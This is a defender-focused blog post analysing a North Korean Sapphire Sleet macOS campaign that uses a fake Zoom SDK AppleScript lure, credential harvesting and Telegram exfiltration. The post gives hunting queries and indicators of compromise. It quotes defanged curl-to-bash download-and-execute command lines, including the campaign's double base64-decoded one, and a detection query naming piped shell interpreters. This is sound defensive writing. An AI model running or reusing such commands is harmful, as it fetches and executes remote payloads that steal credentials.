Introduction
There’s an old saying that something truly shocking is enough to make your hair curl. In cybersecurity right now, that something is a single command and it looks something like this:
curl https://malicious[.]site/payload | bash
The abuse of curl piped to an interpreter has quietly become one of the most reliable tricks in a threat actor’s playbook. Microsoft’s 2025 Digital Defense Report confirmed ClickFix as the number one initial access method, responsible for 47% of all attacks observed by Microsoft Defender Experts, surpassing traditional phishing at 35%. While not a ClickFix campaign, it reflects a broader and growing trend of social engineering users into infecting themselves. The mechanic is deceptively simple where curl fetches remote content, the pipe hands it directly to a shell or script interpreter, and malicious code executes in memory without ever writing a meaningful file to disk. No attachment to quarantine. No download to flag. Just a trusted system utility doing exactly what it was designed to do.
This blog I am going to go into a new campaign using curl and offer some tips for Defenders and organisations.
Sapphire Sleet – macOS Campaign Breakdown
Overview
Sapphire Sleet is a North Korean state-sponsored threat actor active since at least 2020, has been observed running a macOS-focused campaign targeting individuals in cryptocurrency, finance, and blockchain sectors. Rather than exploiting software vulnerabilities, the group continues to rely heavily on social engineering this time with a more sophisticated macOS-specific execution chain than previously documented.
While traditionally associated with espionage, North Korean actors have also been financially motivated allegedly to fund their state-backed activities.
What’s New
This campaign isn’t built on zero-days or novel malware, what makes it worth paying attention to is how the techniques are combined and sequenced. Microsoft noted specific patterns they hadn’t previously observed from this actor on macOS:
- Use of compiled AppleScript (.scpt) files as the initial lure, disguised as a Zoom SDK update
- A cascading curl-to-osascript chain (five stages, each tracked by a unique user-agent string) delivering progressively more complex payloads without writing much to disk
- AppleScript used as a dedicated credential harvesting component, integrated into a fake software update workflow — not just as a delivery mechanism
- Direct manipulation of the macOS TCC database to silently grant AppleEvents permissions to osascript, bypassing user consent prompts entirely
- Credentials exfiltrated in real time via the Telegram Bot API, rather than traditional C2 channels
The overall effect is an infection chain that looks and feels like a legitimate software update from start to finish, including a fake “update complete” dialog at the end to prevent the user becoming suspicious.
Behaviour
Infection occurs when the target is approached via fake recruiter profiles on professional networking platforms for example LinkedIN, then invited to a technical interview, and directed to download what appears to be a Zoom SDK update. The file — Zoom SDK Update.scpt — opens in mac OS Script Editor, a trusted first-party Apple application. The malicious logic is hidden thousands of lines below a convincing decoy comment block to make the rest appear empty.

From that single file execution, the attack unfolds in parallel stages: reconnaissance and C2 registration, credential harvesting via a fake macOS password prompt, TCC database tampering, persistence via a launch daemon disguised as a Google service, and finally large-scale data exfiltration across nine categories including browser credentials, crypto wallets, Telegram sessions, SSH keys, Apple Notes, and the macOS keychain.
The stolen password validated against the local auth database before exfiltration means the encrypted keychain can be decrypted offline after theft.
tips for Defenders
Analyst
- Non-IT or non-technical users running curl would be suspicious and in my opinion always require extra scrutiny.
- Inspect the nature of the curl command through sandbox detonation.
- Again, context is important who did it, why did they do it, should they be doing it? What is their role, and was there notification of this activity ahead of time.TIP: As a analyst your not going to have all the context, and as a professional your clients will expect you to figure out as much as possible before raising the incident to them.
- Evaulate the command itself curl -sSL -A “chrome/120.0” hxxps[:]//zoom-sdk-update[.]us/fix/mac/version/ | base64 –decode | base64 –decode | bash
- Instances of base64 encoding are extra suspicious, capture the encoding and run it through CyberChef.
- If suspicious pivot further into the device and look at network events and process events around the time of the curl command. You can also look at previous activity to correlate if this ties to a known threat scenario.
- If you have confirmed malicious activity follow your incident response (IR) playbook/ escalation policy.
Detection Engineering and Threat Hunting
DeviceProcessEvents| where FileName == "curl"| where ProcessCommandLine has_any ("|osascript", "| osascript", "|bash", "| bash", "|zsh", "| zsh", "|sh", "| sh")| where InitiatingProcessFileName !in ("Terminal", "iTerm2")| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
The highest confidence detections come from focusing on parent process context rather than the tools themselves like curl running from a developer terminal is expected, curl spawned by Script Editor is not. Stack these signals as a sequence rather than isolated alerts and you move from suspicious to confirmed. You may even want to detect on all instances of curl, and then baseline normal/abnormal activity however this might be noisy initially but worth the effort.
Key choke points:
- Script Editor spawning curl or any interpreter — your earliest and highest confidence signal, near-zero false positives
- TCC database modification by non-system processes — almost nothing legitimate touches TCC.db directly
- dscl -authonly outside of system utilities — programmatic credential validation with very few benign explanations
- Telegram Bot API connections from non-Telegram processes — catches the exfiltration channel directly
Telegram should be low prevalence in most environments. It is rare that an organisation will allow it’s use due to it being encrypted and a playground of threat actors.
For more on hunting check out Microsoft.
Indicators of Compromise
File Hashes (SHA-256)
2075fd1a...da419— Zoom SDK Update.scpt (lure file)05e1761b...e8c53— com.apple.cli (host monitoring)5fbbca2d...3ac7— services / icloudz backdoor5e581f22...8d63— com.google.chromes.updaters95e893e7...8d63— com.google.webkit.service.plist8fd5b8db...3e8c— systemupdate.app (credential harvester)a0540000...5e8c— softwareupdate.app (decoy completion)
Domains
uw04webzoom[.]uscheck02id[.]comuw03/05/ur01/uv01/uv03/uv04/ux06webzoom[.]us
IP Addresses
83.136.208[.]246— com.apple.cli C283.136.210[.]180— chromes.updaters C283.136.209[.]22— services backdoor delivery83.136.208[.]48— services C2104.145.210[.]107— exfiltration188.227.196[.]252— payload staging
Persistence Artefact
/Library/LaunchDaemons/com.google.webkit.service.plist
Infection Marker
~/.zoom.log(used to avoid reinfection)
Takeaway for organisations
Sapphire Sleet is a well resourced, patient, and deliberate threat actor with a clear financial motive and this campaign shows they are actively evolving their techniques to reach a wider pool of victims across more platforms. The attack doesn’t begin with a technical exploit it begins with a believable conversation, and by the time anything looks suspicious, the damage is often already done. Investing in user awareness, robust endpoint security, and threat informed detection capability is becoming for most organisations a must have, not just an optional extra.
Apple has pushed XProtect signatures and Safe Browsing protections covering this campaign. Keep macOS and security tooling updated.
Leave a Reply